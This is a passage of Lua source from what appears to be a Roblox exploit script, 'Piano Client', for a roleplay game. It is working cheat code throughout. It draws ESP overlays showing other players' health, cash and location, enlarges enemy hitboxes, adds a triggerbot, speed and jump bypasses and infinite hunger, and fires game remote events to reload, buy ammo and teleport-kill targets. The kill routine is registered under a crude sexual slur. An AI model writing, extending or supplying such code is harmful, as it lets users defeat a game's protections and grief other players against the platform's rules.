LocalPlayer:RequestStreamAroundAsync(prop:GetPivot().p) if j then workspace:WaitForChild(tostring(prop),math.huge):WaitForChild("HumanoidRootPart",math.huge).Parent:WaitForChild("Humanoid",math.huge) end if prop:FindFirstChildWhichIsA("Humanoid") and Players:GetPlayerFromCharacter(prop) ~= LocalPlayer and prop:FindFirstChild("HumanoidRootPart") and j and prop ~= nil and var.playeresp and not ischammed(prop:WaitForChild("HumanoidRootPart")) and Players[tostring(prop)].Character ~= nil then local TextLabel = Drawing.new("Text") local TextLabel_2 = Drawing.new("Text") local tracer = Drawing.new("Line") local plr = Players:GetPlayerFromCharacter(prop) local Box = Instance.new("BoxHandleAdornment") Box.Size = prop:WaitForChild("HumanoidRootPart").Size + Vector3.new(3,5,3) Box.Name = "player" Box.Adornee = prop:WaitForChild("HumanoidRootPart") Box.AlwaysOnTop = true Box.ZIndex = 1 Box.Transparency = 0.5 Box.Parent = chams TextLabel_2.Visible = true TextLabel_2.Outline = true TextLabel_2.Center = true TextLabel_2.Size = var.playerespsize TextLabel_2.Font = Drawing.Fonts.System TextLabel_2.ZIndex = 2 TextLabel_2.Text = (tostring(plr) or "you shouldn't see this [report to sawd#8020]") TextLabel_2.Outline = true TextLabel.Outline = true TextLabel.Size = var.playerespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(200,200,200) TextLabel.ZIndex = 1 TextLabel.Center = true TextLabel.Visible = true local g local m local function f() g:Disconnect() TextLabel:Remove() TextLabel_2:Remove() tracer:Remove() Box:Destroy() m:Disconnect() end m = Players.PlayerRemoving:Connect(function(v) if v == plr then f() end end) table.insert(destroyesp,TextLabel)table.insert(destroyesp,TextLabel_2) g = game:GetService("RunService").RenderStepped:Connect(function() workspace:WaitForChild(tostring(plr)):WaitForChild("Humanoid") if plr.Character:FindFirstChildWhichIsA("Humanoid").Health ~= 0 then tracer.Visible = var.Tracers TextLabel.Visible = var.playeresp TextLabel_2.Visible = var.playeresp Box.Visible = PESPChams else tracer.Visible = false TextLabel.Visible = false TextLabel_2.Visible = false Box.Visible = false end Box.Adornee = plr.Character if not var.playeresp then f() end local _,vis = workspace.Camera:WorldToScreenPoint(workspace:WaitForChild(tostring(plr)):GetPivot().p or CFrame.new(0,0,0)) local j = workspace.Camera:WorldToViewportPoint(workspace:WaitForChild(tostring(plr)):WaitForChild("Head"):GetPivot().p or CFrame.new(0,0,0)) if vis and TextLabel then pcall(function() TextLabel.Visible = true TextLabel_2.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end end) else pcall(function() TextLabel.Visible = false TextLabel_2.Visible = false tracer.Visible= false end) end if table.find(pianousers,tostring(plr)) then TextLabel_2.Text = tostring(plr).." [Piano User]" end tracer.To= Vector2.new(j.x,j.y) TextLabel_2.Color = GetColor(plr) or Color3.fromRGB(10,10,10) tracer.Color = GetColor(plr) or Color3.fromRGB(10,10,10) tracer.Thickness = 1.5 TextLabel_2.Position = Vector2.new(j.x,j.y+(-3-var.playerespsize)) TextLabel.Position = Vector2.new(j.x,j.y) TextLabel.Text = "Health: ["..math.floor(plr.Character:WaitForChild("Humanoid").Health+.5).."/"..plr.Character:WaitForChild("Humanoid").MaxHealth.."] Tool: " ..tostring(plr.Character:FindFirstChildWhichIsA("Tool")).."\nKarma: " ..plr.PlayerData.Karma.Value.." | Guarding For: "..tostring(plr.GuardSettings.GuardingFor.Value).."\nJob: " ..plr.Job.Value.." | Distance: " ..math.floor((LocalPlayer.Character:GetPivot().p - plr.Character:GetPivot().p).magnitude).."\nCash: "..plr.PlayerData.Currency.Value.." | Aureus: "..plr.PlayerData.PCurrency.Value TextLabel.Size = var.playerespsize TextLabel_2.Size = var.playerespsize Box.Color3 = GetColor(plr) or Color3.fromRGB(10,10,10) end) end if not prop.Name:find("Banker") and prop:FindFirstChildWhichIsA("MeshPart") and not prop:GetFullName():find("Vehicles") and not prop:FindFirstChildWhichIsA("MeshPart").Name ~= "Box" and prop.Name ~= "LootCrate" and j == nil then repeat game:GetService("RunService").RenderStepped:wait() until prop == nil or prop:FindFirstChild("Int") or prop:FindFirstChild("Int2") end if var.lootesp and prop.Name == "LootCrate" and prop ~= nil and prop:FindFirstChildWhichIsA("MeshPart") and not ischammed(prop) then enespcham(prop:FindFirstChildWhichIsA("MeshPart"),"loot",Vector3.new(.2,.2,.2),prop:FindFirstChildWhichIsA("MeshPart").Color) local TextLabel = Drawing.new("Text") local tracer = Drawing.new("Line") TextLabel.Outline = true TextLabel.Size = var.lootespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(255,255,255) TextLabel.ZIndex = 1 TextLabel.Center = true TextLabel.Visible = true TextLabel.Text = "Lootcrate" local j local m pcall(function() m = game:GetService("Workspace"):FindFirstChild("Loot").ChildRemoved:Connect(function(b) if b== prop then m:Disconnect() j:Disconnect() TextLabel:Remove() tracer:Remove() deletecham(prop) end end) end) j = game:GetService("RunService").RenderStepped:Connect(function() if var.lootesp == false or not game:GetService("Workspace"):FindFirstChild("Loot") then m:Disconnect() j:Disconnect() TextLabel:Remove() tracer:Remove() deletecham(prop) end local _,vis = workspace.Camera:WorldToScreenPoint(prop:GetPivot().p or CFrame.new(0,0,0)) local g = workspace.Camera:WorldToViewportPoint(prop:GetPivot().p or CFrame.new(0,0,0)) TextLabel.Size = var.lootespsize if vis then TextLabel.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end else TextLabel.Visible = false tracer.Visible= false end tracer.To= Vector2.new(g.x,g.y) tracer.Color = prop:FindFirstChildWhichIsA("MeshPart").Color tracer.Thickness = 1.5 TextLabel.Position = Vector2.new(g.x,g.y) end) end if var.caresp and prop ~= nil and prop:GetFullName():find("Vehicles") and not ischammed(prop) and prop:FindFirstChildWhichIsA("MeshPart") then for i,v in ipairs(prop:GetChildren()) do if v.Name:find("MeshPart") then enespcham(v,"vehicle",Vector3.new(2,2,2),Color3.fromRGB(20,20,150)) local TextLabel = Drawing.new("Text") local tracer = Drawing.new("Line") local j local m TextLabel.Outline = true TextLabel.Size = var.lootespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(255,255,255) TextLabel.ZIndex = 1 TextLabel.Center = true TextLabel.Visible = true m = game:GetService("Workspace"):FindFirstChild("Vehicles").ChildRemoved:Connect(function(v2) if v2 == prop then j:Disconnect() m:Disconnect() TextLabel:Remove() tracer:Remove() deletecham(prop) end end) j = game:GetService("RunService").RenderStepped:Connect(function() local _,vis = workspace.Camera:WorldToScreenPoint(prop:GetPivot().p or CFrame.new(0,0,0)) local g = workspace.Camera:WorldToViewportPoint(prop:GetPivot().p or CFrame.new(0,0,0)) if vis then TextLabel.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end else TextLabel.Visible = false tracer.Visible= false end tracer.To= Vector2.new(g.x,g.y) tracer.Color = Color3.fromRGB(20,20,150) tracer.Thickness = 1.5 TextLabel.Position = Vector2.new(g.x,g.y) TextLabel.Text = tostring(prop:FindFirstChild("TrueOwner").Value).."'s "..tostring(prop.Name).."\nLocked: "..tostring(prop:FindFirstChild("TrueOwner"):FindFirstChild("Locked").Value).." | Seats Locked: "..tostring(prop:FindFirstChild("SeatLocks").Value).."\nHeadlights: "..tostring(prop:FindFirstChild("LightsToggle").Value).." | Seats: "..tostring(#prop:FindFirstChild("Seats"):GetChildren() + 1) TextLabel.Size = var.carespsize if var.caresp == false then j:Disconnect() m:Disconnect() TextLabel:Remove() tracer:Remove() deletecham(prop) end end) end end end if var.entesp and prop ~= nil and prop.Name == "Gun" and not ischammed(prop) then if prop:FindFirstChildOfClass("MeshPart") then enespcham(prop:FindFirstChildOfClass("MeshPart"),"entity",Vector3.new(.2,.2,.2),Color3.fromRGB(210,5,5)) elseif not prop:FindFirstChildWhichIsA("MeshPart") and prop:FindFirstChildWhichIsA("BasePart") then enespcham(prop:FindFirstChildWhichIsA("BasePart"),"entity",Vector3.new(.2,.2,.2),Color3.fromRGB(210,5,5)) end coroutine.wrap(function() local TextLabel = Drawing.new("Text") local tracer = Drawing.new("Line") TextLabel.Size = var.etnespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(255,255,255) TextLabel.ZIndex = 1 TextLabel.Text = prop:WaitForChild("Int").Value TextLabel.Visible = true TextLabel.Center = true TextLabel.Outline = true local g local m m = workspace.Entities.ChildRemoved:Connect(function(p) if p == prop then TextLabel:Remove() g:Disconnect() m:Disconnect() tracer:Remove() deletecham(prop) end end) g = game:GetService("RunService").RenderStepped:Connect(function() pcall(function() local _,vis = workspace.Camera:WorldToScreenPoint(prop:GetPivot().p or CFrame.new(0,0,0)) local j = workspace.Camera:WorldToViewportPoint(prop:GetPivot().p or CFrame.new(0,0,0)) if not var.entesp then g:Disconnect() end if vis then TextLabel.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end else TextLabel.Visible = false tracer.Visible= false end tracer.To= Vector2.new(j.x,j.y) tracer.Color = Color3.fromRGB(210,5,5) tracer.Thickness = 1.5 TextLabel.Position = Vector2.new(j.x,j.y) TextLabel.Size = var.etnespsize if var.entesp == false then g:Disconnect() TextLabel:Remove() tracer:Remove() deletecham(prop) m:Disconnect() end end) end) end)() elseif var.entesp and prop ~= nil and prop.Name:find("Shipment") and prop:FindFirstChild("MeshPart") and not ischammed(prop) then enespcham(prop:FindFirstChild("MeshPart"),"entity",Vector3.new(.2,.2,.2),prop:FindFirstChild("MeshPart").Color) coroutine.wrap(function() local TextLabel = Drawing.new("Text") local tracer = Drawing.new("Line") TextLabel.Size = var.etnespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(255,255,255) TextLabel.ZIndex = 1 TextLabel.Center = true TextLabel.Visible = true TextLabel.Outline = true local g local m m = workspace.Entities.ChildRemoved:Connect(function(e) if e == prop then g:Disconnect() TextLabel:Remove() tracer:Remove() m:Disconnect() deletecham(prop) end end) g = game:GetService("RunService").RenderStepped:Connect(function() local _,vis = workspace.Camera:WorldToScreenPoint(prop:GetPivot().p) local j = workspace.Camera:WorldToViewportPoint(prop:GetPivot().p) if not var.entesp then g:Disconnect() TextLabel:Remove() tracer:Remove() m:Disconnect() deletecham(prop) end if vis then TextLabel.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end else TextLabel.Visible = false tracer.Visible= false end tracer.To = Vector2.new(j.x,j.y) tracer.Color = prop:FindFirstChild("MeshPart").Color tracer.Thickness = 1.5 TextLabel.Position = Vector2.new(j.x,j.y) TextLabel.Size = var.etnespsize TextLabel.Text = tostring(prop:FindFirstChild("TrueOwner").Value).."'s "..tostring(prop.Name).."\nLocked: "..tostring(prop:FindFirstChild("TrueOwner"):FindFirstChild("Locked").Value).." | Uses: "..(prop:FindFirstChild("Int") or prop:FindFirstChild("Int2")):FindFirstChild("Uses").Value end) end)() elseif var.entesp and prop ~= nil and prop.Name:find("Banker") and prop:FindFirstChild("Part") and not ischammed(prop) then for i,v in ipairs(prop:GetChildren()) do if not v:FindFirstChild("Mesh") and v.Name ~= "Main" and v.Name == "Part" then enespcham(v,"entity",Vector3.new(.2,.2,.9),v.Color) local TextLabel = Drawing.new("Text") local tracer = Drawing.new("Line") TextLabel.Size = var.etnespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(255,255,255) TextLabel.ZIndex = 1 TextLabel.Center = true TextLabel.Visible = true TextLabel.Outline = true TextLabel.Text = tostring(prop.Parent.Name).."'s Banker Vault" local l local j l = prop.Parent.ChildRemoved:Connect(function(g) if g == prop then j:Disconnect() l:Disconnect() deletecham(prop) end end) j = game:GetService("RunService").RenderStepped:Connect(function() TextLabel.Size = var.etnespsize local _,vis = workspace.Camera:WorldToScreenPoint(prop:GetPivot().p or CFrame.new(0,0,0)) local g = workspace.Camera:WorldToViewportPoint(prop:GetPivot().p or CFrame.new(0,0,0)) if vis then TextLabel.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end else TextLabel.Visible = false tracer.Visible= false end tracer.To= Vector2.new(g.x,g.y) tracer.Color = v.Color tracer.Thickness = 1.5 TextLabel.Position = Vector2.new(g.x,g.y) if var.entesp == false then j:Disconnect() l:Disconnect() tracer:Remove() TextLabel:Remove() deletecham(prop) end end) break end end elseif var.printeresp and prop ~= nil and prop.Name:find("Money Printer") and prop:FindFirstChild("Main") and not ischammed(prop) then enespcham(prop:FindFirstChild("Main"),"printer",Vector3.new(.2,.2,.2),prop:FindFirstChild("Main").Color) coroutine.wrap(function() local TextLabel = Drawing.new("Text") local tracer = Drawing.new("Line") TextLabel.Size = var.printespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(255,255,255) TextLabel.ZIndex = 1 TextLabel.Center = true TextLabel.Visible = true TextLabel.Outline = true local g local m m = workspace.MoneyPrinters.ChildRemoved:Connect(function(p) if p == prop then m:Disconnect() TextLabel:Remove() g:Disconnect() tracer:Remove() deletecham(prop) end end) g = game:GetService("RunService").RenderStepped:Connect(function() pcall(function() local _,vis = workspace.Camera:WorldToScreenPoint(prop:GetPivot().p or CFrame.new(0,0,0)) local j = workspace.Camera:WorldToViewportPoint(prop:GetPivot().p or CFrame.new(0,0,0)) if not var.printeresp then m:Disconnect() TextLabel:Remove() g:Disconnect() tracer:Remove() deletecham(prop) end if vis then TextLabel.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end else TextLabel.Visible = false tracer.Visible= false end tracer.To= Vector2.new(j.x,j.y) tracer.Color = prop:FindFirstChild("Main").Color tracer.Thickness = 1.5 TextLabel.Position = Vector2.new(j.x,j.y) TextLabel.Text = tostring(prop:FindFirstChild("TrueOwner").Value).."'s "..prop.Name:split(" ")[3].." Printer\nLocked: "..tostring(prop:FindFirstChild("TrueOwner"):FindFirstChild("Locked").Value).." | Uses: "..prop:FindFirstChild("Int"):FindFirstChild("Uses").Value.." | Money: "..prop:FindFirstChild("Int"):FindFirstChild("Money").Value TextLabel.Size = var.printespsize end) end) end)() elseif var.matesp and prop ~= nil and prop:GetFullName():find("Materials") and prop:FindFirstChild("Part") and not ischammed(prop) then for i,v in ipairs(prop:GetChildren()) do if not v:FindFirstChildWhichIsA("ManualWeld") and v:IsA("BasePart") then enespcham(v,"entity",Vector3.new(.2,.49,.2),v.Color) coroutine.wrap(function() local TextLabel = Drawing.new("Text") local tracer = Drawing.new("Line") TextLabel.Size = var.matespsize TextLabel.Font = Drawing.Fonts.System TextLabel.Color = Color3.fromRGB(255,255,255) TextLabel.ZIndex = 1 TextLabel.Center = true TextLabel.Visible = true TextLabel.Outline = true local g local m m = game:GetService("Workspace"):FindFirstChild("Materials").ChildRemoved:Connect(function() m:Disconnect() TextLabel:Remove() tracer:Remove() g:Disconnect() deletecham(prop) end) g = game:GetService("RunService").RenderStepped:Connect(function() pcall(function() local _,vis = workspace.Camera:WorldToScreenPoint(prop:GetPivot().p or CFrame.new(0,0,0)) local j = workspace.Camera:WorldToViewportPoint(prop:GetPivot().p or CFrame.new(0,0,0)) if not var.matesp then m:Disconnect() TextLabel:Remove() g:Disconnect() tracer:Remove() deletecham(prop) end if vis then TextLabel.Visible = true if var.Tracers then tracer.Visible = true else tracer.Visible = false end if var.tracertype == "Bottom" then tracer.From = Vector2.new(workspace.Camera.ViewportSize.X / 1.9, workspace.Camera.ViewportSize.Y) else tracer.From = Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end else TextLabel.Visible = false tracer.Visible= false end tracer.To = Vector2.new(j.x,j.y) tracer.Color = v.Color tracer.Thickness = 1.5 TextLabel.Position = Vector2.new(j.x,j.y) TextLabel.Text = tostring(prop:FindFirstChild("TrueOwner").Value).."'s "..prop.Name.."\nLocked: "..tostring(prop:FindFirstChild("TrueOwner"):FindFirstChild("Locked").Value) TextLabel.Size = var.matespsize end) end) end)() end end end end)() end function save() local j = "local saves = {" for i,v in pairs(var) do if typeof(v) == "number" then j=j..i.."="..v..";\n" elseif typeof(v) == "boolean" or typeof(v) == "EnumItem" and i~=var.IG and i~=var.dpfarm and i~=var.materialfarm then j=j..i.."="..tostring(v)..";\n" elseif typeof(v) == "string" and not v:find("Piano V") then j=j..i.."="..'"'..v..'"'..";\n" elseif typeof(v) == "nil" then j=j..i.."=".."nil"..";\n" end end j = j.."} return saves" writefile("Piano Client/config.lua",j) end function loadsaves() if isfile("Piano Client/config.lua") then local j = loadstring(readfile('Piano Client/config.lua'))() or loadfile("Piano Client/config.lua")() for i,v in pairs(j) do if typeof(v) ~= nil then var[i] = v else var[i] = nil end end for i,v in pairs(Players:GetPlayers()) do heb(v) end if var.fpscap ~= nil then setfpscap(var.fpscap) end if var.errorsound ~= nil then note_4.SoundId = "rbxassetid://"..var.errorsound end if var.notesize ~= nil then l__NoteSample__1.Size = UDim2.new(var.notesize, 0, 0, 40) end if var.notesound ~= nil then note_3.SoundId = "rbxassetid://"..var.notesound LocalPlayer.PlayerGui.Client.SFX.note3.SoundId = "rbxassetid://"..var.notesound LocalPlayer.PlayerGui.Client.SFX.note2.SoundId = "rbxassetid://"..var.notesound LocalPlayer.PlayerGui.Client.SFX.note1.SoundId = "rbxassetid://"..var.notesound end if var.infhunger then LocalPlayer.PlayerData.Hunger.Value = 99 end if var.entesp then for i,v in pairs(game:GetService("Workspace").Entities:GetChildren()) do enesp(v) end end if var.printeresp then for i,v in pairs(game:GetService("Workspace").MoneyPrinters:GetChildren()) do enesp(v) end end if var.matesp then for i,v in pairs(game:GetService("Workspace").Materials:GetChildren()) do enesp(v) end end if var.caresp then for i,v in pairs(game:GetService("Workspace").Vehicles:GetChildren()) do enesp(v) end end if var.lootesp and game:GetService("Workspace"):FindFirstChild("Loot") then for i,v in pairs(game:GetService("Workspace").Loot:GetChildren()) do enesp(v) end end if var.DB then game:GetService("Workspace").FallenPartsDestroyHeight = -math.huge end TextLabelc.Text = ("Your Prefix: "..var.prefix or "-") if var.autoinvisjet then LocalPlayer.Character:WaitForChild("Util") jet() end if var.fullb then game:GetService("Lighting").GlobalShadows = false game:GetService("Lighting").Brightness = 2.4 end if var.playeresp then for i,v in pairs(Players:GetPlayers()) do enesp(v.Character,true) end end if var.ss ~= nil then fov.Radius = var.ss end if var.sss ~= nil then fov.NumSides = var.sss end if var.st ~= nil then fov.Thickness = var.st end if var.saf ~= nil then fov.Filled = var.saf end if var.ssf ~= nil and var.ss then fov.Visible = var.ssf end autosg() acandad() guni() bodymods() diedtp() end end function getload(variable) local b if isfile("Piano Client/config.lua") then local j = loadstring(readfile('Piano Client/config.lua'))() for i,v in ipairs(j) do if i == variable then b = v break else b = nil end end else b = nil end return b end function func22(Player) if GetGun(LocalPlayer) ~= nil then senderror() local oldpos = LocalPlayer.Character:GetPivot() local old = var.noclip local gundamage = 0 local gundamage2 = 0 local breakgundamage = false repeat game:GetService("RunService").RenderStepped:Wait() if not GetGun(LocalPlayer).Name:find("Laser Musket") then if GetGun(LocalPlayer):GetAttribute("Damage") <= 99.9 and gundamage <= 99.9 then gundamage += GetGun(LocalPlayer):GetAttribute("Damage") gundamage2 += 1 else breakgundamage = true end else breakdamage = true gundamage2 = 1 end until breakgundamage for i = 1,gundamage2 do flagup() var.noclip = true Tween(Player.Character:GetPivot(), .05) task.wait(GetGun(LocalPlayer):GetAttribute("BulletPerSecond")) end repeat game:GetService("RunService").RenderStepped:Wait() flagup() var.noclip = true Tween(Player.Character:GetPivot(), .05) if GetTool(LocalPlayer) ~= nil then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(34,Player.Character.Humanoid,Player.Character:GetPivot()) end until Player.Character:FindFirstChild('Humanoid').Health == 0 or not IsValid(Player) or Player.Character == nil or var.unbreakkill var.noclip = old Tween(oldpos, .4) senderror("Killed "..v.Name) else senderror("Gun needed") end end getgenv().rape = func22 function func23() local copy = LocalPlayer.Character:WaitForChild("NameTag"):Clone() copy.Parent = core copy.Name = "" if LocalPlayer.Character:FindFirstChild("NameTag"):FindFirstChild("Job") then copy.Job.Text = copy.Job.Text.." (Semi Godded)" end if LocalPlayer.Character:FindFirstChild("NameTag") then LocalPlayer.Character.NameTag:Destroy() end end getgenv().semigod = func23 function func24() Instance.new("Model",LocalPlayer.Character:WaitForChild("Util")).Name = "Jetpack" end getgenv().jet = func24 function func25(name,type) if type == true then sendnotification(name:gsub(" ","_").." - Activated") elseif type == false then sendnotification(name:gsub(" ","_").." - Deactivated") end end getgenv().togglenote = func25 function IsNil(instance) for i,v in pairs(getnilinstances()) do if v == instance then return true else return false end end end function CreateESPPart(BodyPart,plr) if var.PESPChams then local Box = Instance.new("BoxHandleAdornment") Box.Size = BodyPart.Size + Vector3.new(.05, .05, .05) Box.Name = "this cat is just j2" Box.Adornee = BodyPart Box.Color3 = GetColor(plr) or Color3.fromRGB(10,10,10) Box.AlwaysOnTop = true Box.ZIndex = 1 Box.Transparency = 0.5 Box.Parent = BodyPart else if BodyPart:FindFirstChild("this cat is just j2") then BodyPart:FindFirstChild("this cat is just j2"):Destroy() end end end function autosg() local j local k = LocalPlayer.Character:WaitForChild("Humanoid") if var.ASG and k.Health <= var.asghealth then semigod() end j = k.Changed:Connect(function() if var.ASG and k.Health <= var.asghealth then semigod() j:Disconnect() end end) end function diedtp() local j local old = LocalPlayer.Character:WaitForChild("Humanoid") j = old.Died:Connect(function() local oldpos = old.Parent:GetPivot() wait(1) game:GetService("Workspace"):WaitForChild(LocalPlayer.Name) LocalPlayer.Character:WaitForChild("HumanoidRootPart") wait(.4) if var.diedtp then Tween(oldpos,.1) end j:Disconnect() end) end function acandad() local k local j k = LocalPlayer.Character.ChildAdded:Connect(function(v) if var.instadrink and v.Name:lower():find("cola") then game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(4, v) LocalPlayer.PlayerGui.Client.ProgressBar.Visible = false elseif var.anticlown and v.Name == "1" or v.Name == "2" then v:Destroy() end end) j = LocalPlayer.Character:WaitForChild("Humanoid").Died:Connect(function() j:Disconnect() k:Disconnect() end) end function heb(v) coroutine.wrap(function() game:GetService("Workspace"):WaitForChild(v.Name) if v ~= LocalPlayer and IsValid(v) and var.HBE then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end if v ~= LocalPlayer then v.CharacterAdded:Connect(function(g) g:WaitForChild("HumanoidRootPart") if var.HBE then local hrp = g:FindFirstChild("HumanoidRootPart") wait(2) hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end end) end end)() end function bodymods() local hum = LocalPlayer.Character:WaitForChild("Humanoid") local j local k if var.wsbypass then hum.WalkSpeed=var.bypassws end if var.jpbypass then hum.JumpPower=var.bypassjp end j=hum.Changed:Connect(function() if var.wsbypass then hum.WalkSpeed=var.bypassws end if var.jpbypass then hum.JumpPower=var.bypassjp end end) k = hum.Died:Connect(function() k:Disconnect() j:Disconnect() end) end function guni() local a local k local j j = LocalPlayer.Character.ChildAdded:Connect(function() if var.gunui then if LocalPlayer.PlayerData.Karma.Value < 0 then warn.Visible = true else warn.Visible = false end if IsGun(LocalPlayer) then Ammo.Visible = true else Ammo.Visible = false end LocalPlayer.PlayerGui.Ammo.Frame.Visible = false amt.Text = LocalPlayer.PlayerGui.Ammo.Frame.amt.Text type.Text = LocalPlayer.PlayerGui.Ammo.Frame.type.Text b = game:GetService("RunService").RenderStepped:Connect(function() amt.Text = LocalPlayer.PlayerGui.Ammo.Frame.amt.Text end) else LocalPlayer.PlayerGui.Ammo.Frame.Visible = true Ammo.Visible = false end end) k=LocalPlayer.Character.ChildRemoved:Connect(function(v) pcall(function() if v:FindFirstChild("Handle"):FindFirstChild("Reload") then Ammo.Visible = false end end) end) a = LocalPlayer.Character:WaitForChild("Humanoid").Died:Connect(function() a:Disconnect() j:Disconnect() k:Disconnect() end) end function adnim(v) if table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG, v.Name) then sendnotification("Piano Owner "..v.Name.." is in your server.") end end function dev(v) if table.find(wrugjetutnwienbueijientbietbietbietibneitbnetitbjeiotbmeiotbhietbh,v.Name) then sendnotification(v.Name..".") end end function admin(v) if table.find(eunfwunghngiriNINGIH2424B4299UH1N4N__namecall2h4nfih2grgw, v.Name) then YoLoaded = Instance.new("Sound",game:GetService("Workspace")) YoLoaded.SoundId = "rbxassetid://3020149185" YoLoaded:Play() sendnotification("Yo! "..v.Name.." is in your server!") wait(2) YoLoaded:Destroy() end end function respeccted(v) if table.find(mayberespectedmaybenotqwowiuldeverknowman, v.Name:lower()) then sendnotification("Respected Piano user "..v.Name.." is in your server.") end end loader("rhehehehehhehehe",UDim2.new(0, 64, 0, 56)) loader("Loading Metamethods, Connects, ifs",UDim2.new(0, 96, 0, 56)) game.Players:Chat("I am using piano!") if not isfolder("Piano Client") then makefolder("Piano Client") sendnotification("1st time using Piano? Welcome.") end LocalPlayer:GetMouse().KeyDown:Connect(function(key) if key:byte() == 32 and var.infjump then LocalPlayer.Character:WaitForChild("Humanoid"):ChangeState("Jumping") end end) LocalPlayer.PlayerGui.Ammo.Frame.amt.Changed:Connect(function(prop) if var.reloadtype == "Blatant" then if prop == "Text" and GetGun(LocalPlayer) ~= nil and var.autoreload then wait() if IsGun(LocalPlayer) and tostring(GetGun(LocalPlayer).Name):find("Laser Musket") then wait(.5) keypress(0x52) keyrelease(0x52) game:GetService("ReplicatedStorage").Events.WeaponReloadEvent:FireServer(GetGun(LocalPlayer):GetAttribute("AmmoType"), GetGun(LocalPlayer):GetAttribute("MaxAmmo"), GetGun(LocalPlayer)) else local gun = GetGun(LocalPlayer) if gun ~= nil then game:GetService("ReplicatedStorage").Events.WeaponReloadEvent:FireServer(gun:GetAttribute("AmmoType"), gun:GetAttribute("MaxAmmo"), gun) end end end else if prop == "Text" and var.autoreload then wait() if IsGun(LocalPlayer) and LocalPlayer.PlayerGui.Ammo.Frame.amt.Text:split("/")[1] == "0" then keypress(0x52) keyrelease(0x52) end end end end) LocalPlayer.PlayerData["SMG Ammo"].Changed:Connect(function(v) if var.autobuyammo and v <= 60 then game:GetService("ReplicatedStorage").Events.MenuEvent:FireServer(2, "SMG Ammo (60x)", nil, 8) end end) LocalPlayer.PlayerData["Heavy Ammo"].Changed:Connect(function(v) if var.autobuyammo and v <= 3 then game:GetService("ReplicatedStorage").Events.MenuEvent:FireServer(2, "Heavy Ammo (10x)", nil, 8) end end) LocalPlayer.PlayerData["Pistol Ammo"].Changed:Connect(function(v) if var.autobuyammo and v <= 30 then game:GetService("ReplicatedStorage").Events.MenuEvent:FireServer(2, "Pistol Ammo (30x)", nil, 8) end end) LocalPlayer.PlayerData["Rifle Ammo"].Changed:Connect(function(v) if var.autobuyammo and v <= 60 then game:GetService("ReplicatedStorage").Events.MenuEvent:FireServer(2, "Rifle Ammo (30x)", nil, 8) end end) LocalPlayer.PlayerData.Hunger.Changed:Connect(function(v) if var.infhunger and v ~= 100 then LocalPlayer.PlayerData.Hunger.Value = 100 end end) game:GetService("UserInputService").JumpRequest:Connect(function() if var.flyjump then LocalPlayer.Character:WaitForChild("Humanoid"):ChangeState("Jumping") end end) game:GetService("Workspace").ChildAdded:Connect(function(v) if v.Name == "Ragdoll" and var.AntiLag then v:Destroy() end if var.AntiNlr and v.Name == "NL" then v:Destroy() end end) LocalPlayer:GetMouse().Move:Connect(function() local mouse = LocalPlayer:GetMouse() local hit = mouse.Target if var.triggerbot and hit ~= nil and hit.Parent:FindFirstChild("Humanoid") and IsGun(LocalPlayer) and not var.LeftClick then mouse1press() wait(var.trigrefreshrate) mouse1release() end fov.Position = 